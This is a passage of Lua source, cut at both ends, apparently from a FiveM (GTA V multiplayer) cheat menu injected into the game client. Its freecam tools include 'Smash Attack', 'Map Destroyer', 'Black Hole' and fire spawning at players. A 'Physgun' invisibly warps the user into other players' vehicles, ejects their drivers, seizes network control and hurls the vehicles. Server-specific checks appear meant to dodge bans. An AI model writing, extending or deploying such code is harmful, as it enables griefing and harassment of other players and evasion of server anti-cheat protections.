menu.vars.freecamPreviewDivePitch = context.divePitch menu.vars.freecamPreviewShootPreview = context.shootPreview == true menu.vars.freecamPreviewSelKey = context.selKey or "" Citizen.CreateThread(function() local modelHash = GetHashKey(modelName) if not IsModelInCdimage(modelHash) then if menu.vars.freecamPreviewGen == generation then menu.vars.freecamPreviewPending = nil menu.vars.freecamPreviewKind = nil end return end if kind == "vehicle" and not IsModelAVehicle(modelHash) then if menu.vars.freecamPreviewGen == generation then menu.vars.freecamPreviewPending = nil menu.vars.freecamPreviewKind = nil end return end RequestModel(modelHash) local deadline = GetGameTimer() + 3000 while not HasModelLoaded(modelHash) and deadline > GetGameTimer() do Citizen.Wait(0) end if not HasModelLoaded(modelHash) then if menu.vars.freecamPreviewGen == generation then menu.vars.freecamPreviewPending = nil menu.vars.freecamPreviewKind = nil end return end if menu.vars.freecamPreviewGen ~= generation then SetModelAsNoLongerNeeded(modelHash) return end local position, rotation if menu.vars.freecamPreviewShootPreview then position, rotation = menu.utils.getFreecamShootPreviewPosAndRot() elseif menu.utils.isFreecamNeonRingSpawnModel(modelName) then position, rotation = menu.utils.getFreecamNeonRingSpawnTransform(modelName, true) else position, rotation = menu.utils.getFreecamLookSpawnPosSync(menu.vars.freecamPreviewShapeFlags) end if not position or not rotation then SetModelAsNoLongerNeeded(modelHash) menu.vars.freecamPreviewPending = nil menu.vars.freecamPreviewKind = nil return end local entity if kind == "vehicle" then local groundZ = position.z if menu.functions and menu.functions.getVehiclePreviewGroundZ then groundZ = menu.functions.getVehiclePreviewGroundZ(position.x, position.y, position.z, modelHash) end entity = CreateVehicle(modelHash, position.x, position.y, groundZ, rotation.z or 0.0, false, false) elseif menu.utils.isFreecamNoOffsetModel(modelName) and CreateObjectNoOffset then entity = CreateObjectNoOffset(modelHash, position.x, position.y, position.z, false, false, false) else entity = CreateObject(modelHash, position.x, position.y, position.z, false, false, false) end SetModelAsNoLongerNeeded(modelHash) if menu.vars.freecamPreviewGen ~= generation then if entity and entity ~= 0 and DoesEntityExist(entity) then DeleteEntity(entity) end return end if not entity or entity == 0 or not DoesEntityExist(entity) then menu.vars.freecamPreviewPending = nil menu.vars.freecamPreviewKind = nil return end if kind == "vehicle" then menu.utils.configureFreecamVehiclePreviewEntity(entity) if menu.vars.freecamPreviewSmashAttack then menu.utils.placeFreecamSmashAttackPreview( entity, position, rotation, menu.vars.freecamPreviewDivePitch ) else menu.utils.placeFreecamVehiclePreview(entity, position, rotation) end else menu.utils.configureFreecamPreviewEntity(entity) if menu.vars.freecamPreviewShootPreview then menu.utils.placeFreecamShootObjectPreview(entity) else menu.utils.placeFreecamObjectPreview(entity, modelName, position, rotation) end end menu.vars.freecamPreviewEntity = entity menu.vars.freecamPreviewModel = modelName menu.vars.freecamPreviewPending = nil end) end function menuUtilities.getFreecamSpawnPreviewContext() if not menu.vars.freecamMenuActive or not menu.vars.freecamMenu then return nil end local freecamMenu = menu.vars.freecamMenu local selected = freecamMenu.menuOptions and freecamMenu.menuOptions[freecamMenu.selectedOption] if not selected then return nil end if selected == "Object Spawner" then local entry = freecamMenu.objectList and freecamMenu.objectList[freecamMenu.selectedObjectIndex] if not entry or not entry.model or (menu.utils.isObjectWhitelisted and not menu.utils.isObjectWhitelisted(entry.model)) then return nil end local shapeFlags = 1 if entry.model == "xs_propint3_waste_05_goals" or entry.model == "xs_propint3_waste_04_tires" or entry.model == "xs_propint3_waste_03_tires" or entry.model == "xs_propint3_waste_03_tirerim" or entry.model == "xs_propint3_set_waste_03_licencep" then shapeFlags = 511 end return { kind = "object", model = entry.model, shapeFlags = shapeFlags, selKey = "object:" .. tostring(freecamMenu.selectedObjectIndex) .. ":" .. entry.model } end if selected == "Spawn Custom Object" then local objects = menu.vars.customObjects or {} if #objects == 0 then return nil end local model = objects[freecamMenu.selectedCustomObjectIndex] or objects[1] if not model or (menu.utils.isObjectWhitelisted and not menu.utils.isObjectWhitelisted(model)) then return nil end local shapeFlags = 1 if model == "xs_propint3_waste_05_goals" or model == "xs_propint3_waste_04_tires" or model == "xs_propint3_waste_03_tires" or model == "xs_propint3_waste_03_tirerim" or model == "xs_propint3_set_waste_03_licencep" then shapeFlags = 511 end return { kind = "object", model = model, shapeFlags = shapeFlags, selKey = "customobj:" .. tostring(freecamMenu.selectedCustomObjectIndex or 1) .. ":" .. model } end if selected == "Smash Attack" then local mode = menu.utils.getFreecamSmashAttackSelectedMode(freecamMenu) if not mode or not mode.model or (menu.utils.isVehicleWhitelisted and not menu.utils.isVehicleWhitelisted(mode.model)) then return nil end return { kind = "vehicle", model = mode.model, shapeFlags = 1, selKey = "attack:" .. tostring(freecamMenu.selectedAttackMode or 1) .. ":" .. mode.model, smashAttack = true, divePitch = -90.0 } end if selected == "Spawn Custom Vehicle" then local vehicles = menu.vars.customVehicles or {} local model = vehicles[freecamMenu.selectedCustomVehicleIndex] or vehicles[1] if not model or (menu.utils.isVehicleWhitelisted and not menu.utils.isVehicleWhitelisted(model)) then return nil end return { kind = "vehicle", model = model, shapeFlags = 1, selKey = "cveh:" .. tostring(freecamMenu.selectedCustomVehicleIndex or 1) .. ":" .. model, smashAttack = false } end if selected == "Spawn Vehicle" then local model = freecamMenu.spawnVehicleList and freecamMenu.spawnVehicleList[freecamMenu.selectedVehicleIndex] if not model or (menu.utils.isVehicleWhitelisted and not menu.utils.isVehicleWhitelisted(model)) then return nil end return { kind = "vehicle", model = model, shapeFlags = 1, selKey = "veh:" .. tostring(freecamMenu.selectedVehicleIndex or 1) .. ":" .. model, smashAttack = false } end if selected == "Map Destroyer" then local entry = freecamMenu.mapDestroyerList and freecamMenu.mapDestroyerList[freecamMenu.selectedMapDestroyerIndex] local model = entry and entry.objects and entry.objects[1] if not model or (menu.utils.isObjectWhitelisted and not menu.utils.isObjectWhitelisted(model)) then return nil end return { kind = "object", model = model, shapeFlags = 511, selKey = "md:" .. tostring(freecamMenu.selectedMapDestroyerIndex) .. ":" .. model } end return nil end function menuUtilities.tickFreecamSpawnPreview() if menu.functions.isEntitySpawnPreviewEnabled and not menu.functions.isEntitySpawnPreviewEnabled() then menu.vars.freecamPreviewSelKey = nil menu.utils.clearFreecamSpawnPreview() return end local context = menu.utils.getFreecamSpawnPreviewContext() if not context then menu.vars.freecamPreviewSelKey = nil menu.utils.clearFreecamSpawnPreview() return end if menu.vars.freecamPreviewSelKey ~= context.selKey then menu.utils.clearFreecamSpawnPreview() menu.vars.freecamPreviewSelKey = context.selKey end menu.utils.updateFreecamSpawnPreview(context) if menu.vars.freecamPreviewEntity and DoesEntityExist(menu.vars.freecamPreviewEntity) then menu.utils.repositionFreecamSpawnPreview() end end function menuUtilities.pollFreecamScrollWheel(freecamMenu, mode) mode = mode or "nav" if not freecamMenu then return 0, 0 end freecamMenu.freecamScrollStates = freecamMenu.freecamScrollStates or {} local states = freecamMenu.freecamScrollStates local scroll = states[mode] if not scroll then scroll = { dir = 0, burstStart = 0, lastStep = 0, lastInput = 0 } states[mode] = scroll end local up = IsControlJustPressed(0, 15) if not up then up = IsDisabledControlJustPressed(0, 15) if not up then up = IsControlJustPressed(0, 241) if not up then up = IsDisabledControlJustPressed(0, 241) end end end local down = IsControlJustPressed(0, 14) if not down then down = IsDisabledControlJustPressed(0, 14) if not down then down = IsControlJustPressed(0, 242) if not down then down = IsDisabledControlJustPressed(0, 242) end end end local now = GetGameTimer() if not up and not down then if 0 < scroll.lastInput and 220 < now - scroll.lastInput then scroll.dir = 0 scroll.burstStart = 0 end return 0, 0 end local direction = up and 1 or -1 if scroll.dir ~= direction then scroll.dir = direction scroll.burstStart = now scroll.lastStep = 0 end scroll.lastInput = now local elapsed = now - (scroll.burstStart or now) local baseCooldown = freecamMenu.inputCooldown or 80 local minimumCooldown = 18 local cooldown = baseCooldown if elapsed > 450 then cooldown = baseCooldown - (baseCooldown - minimumCooldown) * math.min(1.0, (elapsed - 450) / 1100) end if 0 < scroll.lastStep and cooldown > now - scroll.lastStep then return 0, 0 end scroll.lastStep = now local steps = 1 if 750 <= elapsed then steps = 2 end if 1350 <= elapsed then steps = 3 end if 1950 <= elapsed then steps = 4 end return direction, steps end function menuUtilities.freecamMenuThread() local lastFocusRefreshTime = 0 local lastFocusCoords = nil local focusRefreshIntervalMs = 100 while menu.vars.freecamMenuActive and menu.vars.freecamMenu do Citizen.Wait(0) local blockMovement = menu.vars and menu.vars.bools and menu.vars.bools.freecamBlockQEMovement blockMovement = blockMovement == nil or blockMovement == true if blockMovement then DisableControlAction(0, 37, true) DisableControlAction(0, 157, true) DisableControlAction(0, 158, true) DisableControlAction(0, 160, true) DisableControlAction(0, 164, true) end for inputGroup = 0, 2, 1 do DisableControlAction(inputGroup, 14, true) DisableControlAction(inputGroup, 15, true) DisableControlAction(inputGroup, 16, true) DisableControlAction(inputGroup, 17, true) DisableControlAction(inputGroup, 241, true) DisableControlAction(inputGroup, 242, true) DisableControlAction(inputGroup, 81, true) DisableControlAction(inputGroup, 82, true) DisableControlAction(inputGroup, 83, true) DisableControlAction(inputGroup, 84, true) DisableControlAction(inputGroup, 85, true) DisableControlAction(inputGroup, 332, true) DisableControlAction(inputGroup, 333, true) end DisablePlayerFiring(PlayerId(), true) SetPedCanSwitchWeapon(playerPed, false) if BlockWeaponWheelThisFrame then BlockWeaponWheelThisFrame() end if HideHudComponentThisFrame then HideHudComponentThisFrame(19) HideHudComponentThisFrame(20) end for inputGroup = 0, 2, 1 do DisableControlAction(inputGroup, 21, true) end menu.utils.applyFreecamHamSpeedNow() local adjustmentMode = menu.vars and menu.vars.selectors and menu.vars.selectors.freecamAdjustKeys or 2 if blockMovement then local blockedControls = { 27, 172, 173, 174, 175, 187, 188, 189, 190 } if adjustmentMode == 1 then blockedControls = { 44, 38, 27, 172, 173, 174, 175, 187, 188, 189, 190 } end for inputGroup = 0, 2, 1 do local iterator, iteratorState, iteratorKey = ipairs(blockedControls) for _, control in iterator, iteratorState, iteratorKey do DisableControlAction(inputGroup, control, true) end end if adjustmentMode == 1 and menu.vars and menu.vars.selectors and menu.vars.selectors.keyboardLayout == 2 then for inputGroup = 0, 2, 1 do DisableControlAction(inputGroup, 34, true) end end end local freecamState = menu.vars.freecamMenu if blockMovement and freecamState and freecamState.isHoldingVehicle then DisableControlAction(0, 159, true) DisableControlAction(0, 161, true) DisableControlAction(0, 162, true) DisableControlAction(0, 163, true) DisableControlAction(0, 165, true) end local currentTime = GetGameTimer() local cameraPosition = GetFinalRenderedCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) if cameraPosition and cameraRotation and menu.vars.freecamMinimapSyncActive then LockMinimapPosition(cameraPosition.x, cameraPosition.y) local minimapAngle = cameraRotation.z % 360.0 if minimapAngle < 0.0 then minimapAngle = minimapAngle + 360.0 end LockMinimapAngle(math.floor(minimapAngle + 0.5)) Citizen.InvokeNative(8638710128135168463, cameraPosition.x, cameraPosition.y) local playerBlip = GetMainPlayerBlipId() if playerBlip and playerBlip ~= 0 then SetBlipRotation(playerBlip, math.ceil(minimapAngle)) end end if cameraPosition then local refreshFocus = focusRefreshIntervalMs < currentTime - lastFocusRefreshTime if not refreshFocus and lastFocusCoords then refreshFocus = 5.0 < #(cameraPosition - lastFocusCoords) elseif not lastFocusCoords then refreshFocus = true end if refreshFocus then SetFocusPosAndVel(cameraPosition.x, cameraPosition.y, cameraPosition.z, 0.0, 0.0, 0.0) RequestCollisionAtCoord(cameraPosition.x, cameraPosition.y, cameraPosition.z) RequestAdditionalCollisionAtCoord(cameraPosition.x, cameraPosition.y, cameraPosition.z) lastFocusRefreshTime = currentTime lastFocusCoords = cameraPosition end end freecamState = menu.vars.freecamMenu if not freecamState then Citizen.Wait(100) elseif not (Ham and Ham.isGuiOpen and Ham.isGuiOpen() == true) then local hasHeldEntities = freecamState.isHoldingVehicle and ( (freecamState.heldVehicles and #freecamState.heldVehicles > 0) or (freecamState.heldObjects and #freecamState.heldObjects > 0) ) local blackHoleHeld = menu.utils.isFreecamBlackHoleHoldActive and menu.utils.isFreecamBlackHoleHoldActive() if not hasHeldEntities and not blackHoleHeld then local scrollDirection, scrollCount = menu.utils.pollFreecamScrollWheel(freecamState, "nav") if scrollDirection ~= 0 then for scrollStep = 1, scrollCount, 1 do freecamState.selectedOption = freecamState.selectedOption - scrollDirection if freecamState.selectedOption < 1 then freecamState.selectedOption = #freecamState.menuOptions elseif freecamState.selectedOption > #freecamState.menuOptions then freecamState.selectedOption = 1 end end freecamState.lastInputTime = currentTime end end if not menu.vars.visible and menu.utils.isFreecamShootVehicleEnterPressed() then local selectedOption = freecamState.menuOptions and freecamState.menuOptions[freecamState.selectedOption] if selectedOption == "Smash Attack" then local mode = menu.utils.getFreecamSmashAttackSelectedMode(freecamState) if mode and mode.isCustom and menu.utils.canOpenFreecamShootVehicleCustomPrompt() then menu.utils.promptFreecamSmashAttackCustomModel(freecamState) freecamState.lastInputTime = GetGameTimer() end elseif menu.utils.isFreecamShootVehicleOptionName(selectedOption) and menu.utils.getFreecamShootVehicleCategoryName(freecamState) == "Custom" and menu.utils.canOpenFreecamShootVehicleCustomPrompt() then menu.utils.promptFreecamShootVehicleCustomModel(freecamState) freecamState.lastInputTime = GetGameTimer() end end local selectedOption = freecamState.menuOptions[freecamState.selectedOption] local bulletModeActive = false local bulletMouseDown if selectedOption == "Shoot RPG" and (freecamState.selectedShootMode or 1) == 2 then bulletModeActive = true bulletMouseDown = Ham.isKeyPressed(ImGuiKey.MouseLeft) local previousBulletMouseDown = freecamState.freecamBulletPrevLmb if bulletMouseDown then if not previousBulletMouseDown then freecamState.lastBulletRapidShotTime = currentTime Citizen.CreateThread(function() menu.utils.freecamShootBulletFromFov(5) end) elseif 35 <= currentTime - (freecamState.lastBulletRapidShotTime or 0) then freecamState.lastBulletRapidShotTime = currentTime Citizen.CreateThread(function() menu.utils.freecamShootBulletFromFov(1) end) end end end freecamState.freecamBulletPrevLmb = bulletModeActive and bulletMouseDown or false selectedOption = freecamState.menuOptions[freecamState.selectedOption] local blackHoleRightPressed = false if selectedOption == "Black Hole" then menu.utils.updateFreecamBlackHoleSteerFromLook(freecamState) menu.utils.freecamBlackHoleEnsureThreads() if menu.utils.isFreecamBlackHoleHoldActive() then local scrollDirection, scrollCount = menu.utils.pollFreecamScrollWheel(freecamState, "blackhole") if scrollDirection ~= 0 then local distance = (freecamState.freecamBlackHoleDistance or 0.0) + scrollDirection * (freecamState.freecamBlackHoleDistanceSensitivity or 4.0) * scrollCount freecamState.freecamBlackHoleDistance = distance if distance > 120.0 then freecamState.freecamBlackHoleDistance = 120.0 end if freecamState.freecamBlackHoleDistance < -80.0 then freecamState.freecamBlackHoleDistance = -80.0 end end else freecamState.freecamBlackHoleDistance = 0.0 end local rightKey = ImGuiKey.MouseRight if rightKey and Ham.isKeyPressed and Ham.isKeyPressed(rightKey) then if not freecamState.freecamBlackHolePrevRmb then menu.utils.freecamBlackHoleLaunchHeldVehicles() end freecamState.freecamBlackHolePrevRmb = true blackHoleRightPressed = true end if not blackHoleRightPressed then freecamState.freecamBlackHolePrevRmb = false end else freecamState.freecamBlackHolePrevRmb = false end local hasHeldEntity = freecamState.isHoldingVehicle and ( (freecamState.heldVehicles and #freecamState.heldVehicles > 0) or (freecamState.heldObjects and #freecamState.heldObjects > 0) ) if hasHeldEntity then local heldCameraPosition = GetFinalRenderedCamCoord() local heldCameraRotation = GetFinalRenderedCamRot(2) local directionX = -math.sin(math.rad(heldCameraRotation.z)) * math.cos(math.rad(heldCameraRotation.x)) local directionY = math.cos(math.rad(heldCameraRotation.z)) * math.cos(math.rad(heldCameraRotation.x)) local heldDirection = vector3(directionX, directionY, math.sin(math.rad(heldCameraRotation.x))) local scrollDirection, scrollCount = menu.utils.pollFreecamScrollWheel(freecamState, "physgun") if scrollDirection ~= 0 then freecamState.holdDistance = freecamState.holdDistance + scrollDirection * freecamState.holdSensitivity * scrollCount if freecamState.holdDistance > 50.0 then freecamState.holdDistance = 50.0 end if freecamState.holdDistance < 2.0 then freecamState.holdDistance = 2.0 end end if menu.utils.isPhysgunFullCollisionTogglePressed() then freecamState.physgunFullCollision = not freecamState.physgunFullCollision end local vehicleIterator, vehicleState, vehicleKey = ipairs(freecamState.heldVehicles) for heldVehicleIndex, heldVehicle in vehicleIterator, vehicleState, vehicleKey do if DoesEntityExist(heldVehicle) then local angle = math.rad((heldVehicleIndex - 1) * 15.0) local rotatedDirection = vector3( heldDirection.x * math.cos(angle) - heldDirection.y * math.sin(angle), heldDirection.x * math.sin(angle) + heldDirection.y * math.cos(angle), heldDirection.z ) menu.utils.applyPhysgunHoldToEntity( heldVehicle, heldCameraPosition + rotatedDirection * freecamState.holdDistance, heldCameraRotation, freecamState.physgunFullCollision ) end end local heldVehicleCount = freecamState.heldVehicles and #freecamState.heldVehicles or 0 local objectIterator, objectState, objectKey = ipairs(freecamState.heldObjects or {}) for heldObjectIndex, heldObject in objectIterator, objectState, objectKey do if DoesEntityExist(heldObject) then local angle = math.rad((heldVehicleCount + heldObjectIndex - 1) * 15.0) local rotatedDirection = vector3( heldDirection.x * math.cos(angle) - heldDirection.y * math.sin(angle), heldDirection.x * math.sin(angle) + heldDirection.y * math.cos(angle), heldDirection.z ) menu.utils.applyPhysgunHoldToEntity( heldObject, heldCameraPosition + rotatedDirection * freecamState.holdDistance, heldCameraRotation, freecamState.physgunFullCollision ) FreezeEntityPosition(heldObject, false) end end if menu.drawing and menu.drawing.drawDescriptionBar then menu.drawing.drawDescriptionBar( menu.utils.getPhysgunHoldDescription(freecamState.physgunFullCollision), 0, 0, 0, {}, 0, true ) end if Ham.isKeyPressed(ImGuiKey.MouseRight) then local vehicleIterator, vehicleState, vehicleKey = ipairs(freecamState.heldVehicles) for _, releasedVehicle in vehicleIterator, vehicleState, vehicleKey do if DoesEntityExist(releasedVehicle) then menu.utils.releasePhysgunEntity( releasedVehicle, heldDirection, freecamState.physgunForce, freecamState.physgunFullCollision ) end end local objectIterator, objectState, objectKey = ipairs(freecamState.heldObjects or {}) for _, releasedObject in objectIterator, objectState, objectKey do if DoesEntityExist(releasedObject) then menu.utils.releasePhysgunEntity( releasedObject, heldDirection, freecamState.physgunForce, freecamState.physgunFullCollision ) FreezeEntityPosition(releasedObject, false) SetEntityRotation( releasedObject, heldCameraRotation.x, 0.0, heldCameraRotation.z, 2, true ) end end freecamState.isHoldingVehicle = false freecamState.heldVehicles = {} freecamState.heldObjects = {} freecamState.holdDistance = 15.0 end end local leftMouseDown = Ham.isKeyPressed(ImGuiKey.MouseLeft) local leftMouseJustPressed = leftMouseDown and not freecamState.freecamFirePrevLmb if freecamState.freecamFirePrevLmb and not leftMouseDown then menu.vars.freecamFirePlayerCompleted = {} menu.vars.freecamFireBurnPedHandles = {} end freecamState.freecamFirePrevLmb = leftMouseDown selectedOption = freecamState.menuOptions[freecamState.selectedOption] local isShootVehicle = menu.utils.isFreecamShootVehicleOptionName(selectedOption) local continuousFireOption = isShootVehicle or selectedOption == "Ped Shooter" or selectedOption == "Shoot Objects" or selectedOption == "Particles" or selectedOption == "Spawn Fire" if continuousFireOption and leftMouseDown then local shouldExecuteShot = true if selectedOption == "Spawn Fire" and not leftMouseJustPressed then local aimCameraPosition = GetFinalRenderedCamCoord() local aimCameraRotation = GetFinalRenderedCamRot(2) if aimCameraPosition and aimCameraRotation then local directionX = -math.sin(math.rad(aimCameraRotation.z)) * math.cos(math.rad(aimCameraRotation.x)) local directionY = math.cos(math.rad(aimCameraRotation.z)) * math.cos(math.rad(aimCameraRotation.x)) local aimDirection = vector3(directionX, directionY, math.sin(math.rad(aimCameraRotation.x))) if select( 1, menu.utils.getFreecamCrosshairTargetPlayer( aimCameraPosition, aimDirection, false ) ) then shouldExecuteShot = false end end end freecamState.lastShootExecuteTime = freecamState.lastShootExecuteTime or 0 if shouldExecuteShot and 50 <= currentTime - freecamState.lastShootExecuteTime then freecamState.lastShootExecuteTime = currentTime menu.utils.executeFreecamAction(freecamState.selectedOption) end end local continueFreecamFrame = false if currentTime - freecamState.lastInputTime > freecamState.inputCooldown then if not hasHeldEntities and menu.utils.isFreecamShootVehicleOptionName( freecamState.menuOptions[freecamState.selectedOption] ) then local pressed = menu.utils.isFreecamShootVehicleModelUpPressed() or menu.utils.isFreecamShootVehicleModelDownPressed() if pressed then menu.utils.refreshFreecamShootVehicleLists(freecamState) if menu.utils.isFreecamShootVehicleModelUpPressed() then menu.utils.shiftFreecamShootVehicleModel(freecamState, -1) else menu.utils.shiftFreecamShootVehicleModel(freecamState, 1) end freecamState.lastInputTime = currentTime end end repeat local function shiftSelection(field, list, direction) local index = (freecamState[field] or 1) + direction if index < 1 then index = #list elseif index > #list then index = 1 end freecamState[field] = index freecamState.lastInputTime = currentTime end local candidateOption = freecamState.menuOptions[freecamState.selectedOption] local leftPressed = menu.utils.isFreecamAdjustLeftPressed() local rightPressed = not leftPressed and menu.utils.isFreecamAdjustRightPressed() if candidateOption == "Shoot RPG" then local modes = freecamState.shootModes or { "RPG", "Bullet" } if leftPressed then shiftSelection("selectedShootMode", modes, -1) elseif rightPressed then shiftSelection("selectedShootMode", modes, 1) end break end if candidateOption == "Smash Attack" then local modes = freecamState.attackModes or {} if #modes > 0 then if leftPressed then shiftSelection("selectedAttackMode", modes, -1) elseif rightPressed then shiftSelection("selectedAttackMode", modes, 1) end end break end local adjustmentLists = { ["Object Spawner"] = { "selectedObjectIndex", freecamState.objectList }, ["Spawn Custom Object"] = { "selectedCustomObjectIndex", menu.vars.customObjects or {} }, ["Spawn Custom Vehicle"] = { "selectedCustomVehicleIndex", menu.vars.customVehicles or {} }, ["Spawn Custom Ped"] = { "selectedCustomPedIndex", menu.vars.customPeds or {} }, ["Ped Shooter"] = { "selectedPedIndex", freecamState.pedList }, ["Particles"] = { "selectedParticleIndex", freecamState.particleList }, ["Shoot Objects"] = { "selectedShootObjectIndex", freecamState.shootObjectList } } local adjustment = adjustmentLists[candidateOption] if adjustment then if #adjustment[2] > 0 then if leftPressed then shiftSelection(adjustment[1], adjustment[2], -1) elseif rightPressed then shiftSelection(adjustment[1], adjustment[2], 1) end end break end if menu.utils.isFreecamShootVehicleOptionName(candidateOption) then menu.utils.refreshFreecamShootVehicleLists(freecamState) if menu.utils.isServer185169NearbyVehicleMode and menu.utils.isServer185169NearbyVehicleMode() then break end if leftPressed then menu.utils.shiftFreecamShootVehicleCategory(freecamState, -1, true) freecamState.lastInputTime = currentTime elseif rightPressed then menu.utils.shiftFreecamShootVehicleCategory(freecamState, 1, true) freecamState.lastInputTime = currentTime end break end if candidateOption == "Spawn Vehicle" then if leftPressed then shiftSelection("selectedVehicleIndex", freecamState.spawnVehicleList, -1) elseif rightPressed then shiftSelection("selectedVehicleIndex", freecamState.spawnVehicleList, 1) end break end if candidateOption == "Map Destroyer" then if leftPressed then shiftSelection("selectedMapDestroyerIndex", freecamState.mapDestroyerList, -1) elseif rightPressed then shiftSelection("selectedMapDestroyerIndex", freecamState.mapDestroyerList, 1) end break end if candidateOption == "Look Around" then if not menu.vars.visible then if leftPressed then menu.utils.shiftFreecamSpeedLevel(-1) freecamState.cameraSpeed = menu.vars.sliders and menu.vars.sliders.freecamSpeed or freecamState.cameraSpeed freecamState.lastInputTime = currentTime elseif rightPressed then menu.utils.shiftFreecamSpeedLevel(1) freecamState.cameraSpeed = menu.vars.sliders and menu.vars.sliders.freecamSpeed or freecamState.cameraSpeed freecamState.lastInputTime = currentTime end end break end if candidateOption == menu.utils.freecamLaunchOptionName then if leftPressed or rightPressed then menu.vars.freecamLastLaunchMode = menu.vars.freecamLastLaunchMode == 2 and 1 or 2 freecamState.lastInputTime = currentTime end end if false then if candidateOption == menu.utils.freecamMassKillOptionName then if leftPressed then menu.utils.shiftFreecamMassKillRadiusIndex(freecamState, -1) freecamState.lastInputTime = currentTime elseif rightPressed then menu.utils.shiftFreecamMassKillRadiusIndex(freecamState, 1) freecamState.lastInputTime = currentTime end break end if candidateOption == menu.utils.freecamPickUpVehicleOptionName then local modes = freecamState.pickUpVehicleModes or { "Inside", "Outside" } if leftPressed then shiftSelection("selectedPickUpVehicleMode", modes, -1) menu.vars.freecamLastPickUpVehicleMode = freecamState.selectedPickUpVehicleMode elseif rightPressed then shiftSelection("selectedPickUpVehicleMode", modes, 1) menu.vars.freecamLastPickUpVehicleMode = freecamState.selectedPickUpVehicleMode end break end if candidateOption == "Block Menu Movement" and (leftPressed or rightPressed) then local blocked = menu.vars and menu.vars.bools and menu.vars.bools.freecamBlockQEMovement if menu.vars and menu.vars.bools then menu.vars.bools.freecamBlockQEMovement = not (blocked == nil or blocked == true) end freecamState.lastInputTime = currentTime end end break until true selectedOption = freecamState.menuOptions[freecamState.selectedOption] if (selectedOption == "Object Spawner" or selectedOption == "Map Destroyer") and ImGuiKey and ImGuiKey.H and Ham.isKeyReleased and Ham.isKeyReleased(ImGuiKey.H) then menu.utils.cycleFreecamObjectRotation() freecamState.lastInputTime = currentTime if menu.vars.freecamPreviewEntity and DoesEntityExist(menu.vars.freecamPreviewEntity) then menu.utils.repositionFreecamSpawnPreview() end end if leftMouseDown and not isShootVehicle and selectedOption ~= "Ped Shooter" and selectedOption ~= "Shoot Objects" and selectedOption ~= "Particles" and selectedOption ~= "Spawn Fire" then repeat if selectedOption == "Physgun" then local raycastEntity = menu.utils.getEntityFromRaycast() local raycastVehicle = menu.utils.getVehicleFromRaycast() if raycastVehicle and DoesEntityExist(raycastVehicle) and IsEntityAVehicle(raycastVehicle) then local alreadyHeld = false if freecamState.heldVehicles then local iterator, iteratorState, iteratorKey = ipairs(freecamState.heldVehicles) for _, heldVehicle in iterator, iteratorState, iteratorKey do if heldVehicle == raycastVehicle then alreadyHeld = true break end end end if not alreadyHeld and not (freecamState.isHoldingVehicle and ((freecamState.heldVehicles and #freecamState.heldVehicles > 0) or (freecamState.heldObjects and #freecamState.heldObjects > 0))) and not freecamState.isGrabbingVehicle then local targetVehicleForPickup = raycastVehicle local driverPed = GetPedInVehicleSeat(targetVehicleForPickup, -1) local driverIsPlayer = driverPed and driverPed ~= 0 and DoesEntityExist(driverPed) and IsPedAPlayer(driverPed) or false if not IsVehicleSeatFree(targetVehicleForPickup, -1) and driverIsPlayer and menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() freecamState.lastInputTime = currentTime continueFreecamFrame = true break end freecamState.isGrabbingVehicle = true Citizen.CreateThread(function() if not DoesEntityExist(targetVehicleForPickup) then freecamState.isGrabbingVehicle = false return end local playerPed = PlayerPedId() local originalPosition = GetEntityCoords(playerPed) menu.utils.withTempPlayerInvisibility(function() if not IsVehicleSeatFree(targetVehicleForPickup, -1) then if driverIsPlayer then TaskEnterVehicle( playerPed, targetVehicleForPickup, 1, -1, 2.0, 8, 0 ) Citizen.Wait(50) TaskWarpPedIntoVehicle( playerPed, targetVehicleForPickup, -1 ) Citizen.Wait(1500) ClearPedTasksImmediately(playerPed) SetEntityCoords( playerPed, originalPosition.x, originalPosition.y, originalPosition.z, false, false, false, true ) else menu.utils.removeDriverFromVehicle(targetVehicleForPickup) end local seatDeadline = GetGameTimer() + 1000 while DoesEntityExist(targetVehicleForPickup) and not IsVehicleSeatFree(targetVehicleForPickup, -1) and seatDeadline > GetGameTimer() do Citizen.Wait(10) end end if not DoesEntityExist(targetVehicleForPickup) or not IsVehicleSeatFree(targetVehicleForPickup, -1) then freecamState.isGrabbingVehicle = false return end TaskWarpPedIntoVehicle(playerPed, targetVehicleForPickup, -1) Citizen.Wait(122) ClearPedTasksImmediately(playerPed) SetEntityCoords( playerPed, originalPosition.x, originalPosition.y, originalPosition.z, false, false, false, true ) if not NetworkGetEntityIsNetworked(targetVehicleForPickup) then NetworkRegisterEntityAsNetworked(targetVehicleForPickup) end local controlDeadline = GetGameTimer() + 750 while DoesEntityExist(targetVehicleForPickup) and not NetworkHasControlOfEntity(targetVehicleForPickup) and controlDeadline > GetGameTimer() do NetworkRequestControlOfEntity(targetVehicleForPickup) Citizen.Wait(10) end if not DoesEntityExist(targetVehicleForPickup) or not NetworkHasControlOfEntity(targetVehicleForPickup) then freecamState.isGrabbingVehicle = false return end freecamState.heldVehicles = { targetVehicleForPickup } freecamState.heldObjects = {} freecamState.isHoldingVehicle = true SetEntityInvincible(targetVehicleForPickup, true) SetEntityCollision(targetVehicleForPickup, false, false) SetEntityAlpha(targetVehicleForPickup, 200, false) freecamState.isGrabbingVehicle = false end) end) end break end if raycastEntity and DoesEntityExist(raycastEntity) and IsEntityAnObject(raycastEntity) then local alreadyHeld = false if freecamState.heldObjects then local iterator, iteratorState, iteratorKey = ipairs(freecamState.heldObjects) for _, heldObject in iterator, iteratorState, iteratorKey do if heldObject == raycastEntity then alreadyHeld = true break end end end if not alreadyHeld and not (freecamState.isHoldingVehicle and ((freecamState.heldVehicles and #freecamState.heldVehicles > 0) or (freecamState.heldObjects and #freecamState.heldObjects > 0))) and not freecamState.isGrabbingVehicle then local targetEntityForGrab = raycastEntity freecamState.isGrabbingVehicle = true Citizen.CreateThread(function() if not DoesEntityExist(targetEntityForGrab) then freecamState.isGrabbingVehicle = false return end if not NetworkGetEntityIsNetworked(targetEntityForGrab) then NetworkRegisterEntityAsNetworked(targetEntityForGrab) end local deadline = GetGameTimer() + 750 while DoesEntityExist(targetEntityForGrab) and not NetworkHasControlOfEntity(targetEntityForGrab) and deadline > GetGameTimer() do NetworkRequestControlOfEntity(targetEntityForGrab) Citizen.Wait(10) end if not DoesEntityExist(targetEntityForGrab) or not NetworkHasControlOfEntity(targetEntityForGrab) then freecamState.isGrabbingVehicle = false return end freecamState.heldObjects = { targetEntityForGrab } freecamState.heldVehicles = {} freecamState.isHoldingVehicle = true FreezeEntityPosition(targetEntityForGrab, false) 